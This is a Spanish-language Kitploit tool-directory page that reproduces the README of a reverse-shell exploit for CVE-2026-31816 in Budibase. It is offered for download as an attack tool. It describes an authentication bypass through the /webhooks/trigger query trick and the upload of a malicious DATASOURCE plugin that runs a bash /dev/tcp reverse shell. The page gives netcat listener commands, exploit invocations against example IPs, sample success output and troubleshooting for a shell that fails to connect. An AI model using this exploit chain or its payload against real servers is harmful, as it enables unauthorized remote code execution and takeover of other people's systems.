Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31816-rshell — Explota CVE-2026-31816 en Budibase para omitir la autenticación, cargar un plugin de fuente de datos malicioso y ejecutar una reverse shell para acceso remoto. | Kitploit
Herramientas/GitHubGitHub/imjdl/cve-2026-31816-rshell
ExplotaciónExplotación de Aplicaciones WebAutenticaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubimjdl/cve-2026-31816-rshell

CVE-2026-31816-rshell

Explota CVE-2026-31816 en Budibase para omitir la autenticación, cargar un plugin de fuente de datos malicioso y ejecutar una reverse shell para acceso remoto.

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit de Reverse Shell CVE-2026-31816

Descripción General

Esta herramienta explota CVE-2026-31816 para establecer una conexión de reverse shell en un servidor Budibase objetivo.

Cadena de Ataque: Bypass de Autenticación → Subida de Plugin DATASOURCE → Ejecución de Código en el Servidor → Reverse Shell

Requisitos

  • Python 3.6+
  • Librería requests (pip install requests)
  • Servidor Budibase objetivo vulnerable a CVE-2026-31816

Uso

Pasos Básicos

root@kitploit:~
# 1. Iniciar listener en la máquina del atacante
nc -lvnp 4444

# 2. Ejecutar el exploit (otra terminal)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost TU_IP --lport 4444

Parámetros

ParámetroRequeridoDescripción
-t, --target✅URL del Budibase objetivo
--lhost✅Host del listener (tu IP)
--lport❌Puerto del listener (por defecto: 4444)

Ejemplos

root@kitploit:~
# IP del atacante: 192.168.1.100
# Budibase objetivo: 192.168.1.128:10000

# Terminal 1 - Iniciar listener
nc -lvnp 4444

# Terminal 2 - Ejecutar exploit
python3 CVE-2026-31816-rshell.py \
    -t http://192.168.1.128:10000 \
    --lhost 192.168.1.100 \
    --lport 4444

Cómo Funciona

1. Verificación de Vulnerabilidad

root@kitploit:~
GET /api/integrations?/webhooks/trigger

Si devuelve 200, el objetivo es vulnerable al bypass de autenticación.

2. Crear Plugin Malicioso

root@kitploit:~
{
  "type": "datasource",
  "schema": { ... }
}

Los plugins de tipo DATASOURCE ejecutan código JavaScript en el servidor.

3. Payload de Reverse Shell

root@kitploit:~
// Ejecutado cuando el plugin es validado:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

4. Subida y Ejecución

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger

Subir plugin evitando la autenticación. El código se ejecuta durante la validación.

Flujo del Ataque

root@kitploit:~
┌─────────────┐     ┌─────────────┐     ┌─────────────┐
│  Atacante   │     │   Objetivo  │     │  Listener   │
│             │     │   Servidor  │     │   (nc)      │
│             │     │             │     │             │
│ exploit ────┼────►│ Subir       │     │             │
│             │     │ Plugin      │     │             │
│             │     │ Ejecutar    │────►│ Escuchar    │
│             │     │ Código      │◄────┤ Reverse     │
│             │     │             │     │ Conectar    │
└─────────────┘     └─────────────┘     └─────────────┘

Indicador de Éxito

root@kitploit:~
============================================================
CVE-2026-31816 - Exploit de Reverse Shell
============================================================
[*] Objetivo: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444

[*] Verificando vulnerabilidad...
[+] ¡El objetivo es vulnerable!
[*] Creando plugin de reverse shell dirigido a 192.168.1.100:4444

[*] Subiendo plugin de reverse shell...
[*] Estado: 200
[+] ¡Plugin instalado exitosamente!

============================================================
[+] ¡ÉXITO! ¡Revisa tu listener!
============================================================

Solución de Problemas

P: Falló la conexión, no se recibió shell

Causas posibles:

  1. Firewall bloqueando la conexión reversa
  2. El servidor objetivo no puede alcanzar la IP del atacante
  3. El servidor objetivo no tiene bash

Soluciones:

root@kitploit:~
# Verificar conectividad de red
ping TU_IP

# Verificar firewall
sudo ufw allow 4444/tcp

# Probar con otro puerto
nc -lvnp 8080

P: Falló la subida

Causas posibles:

  1. El objetivo ha parcheado la vulnerabilidad
  2. Problemas de red

Soluciones:

root@kitploit:~
# Probar manualmente si la vulnerabilidad existe
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# Si devuelve JSON, la vulnerabilidad existe
Descargar herramienta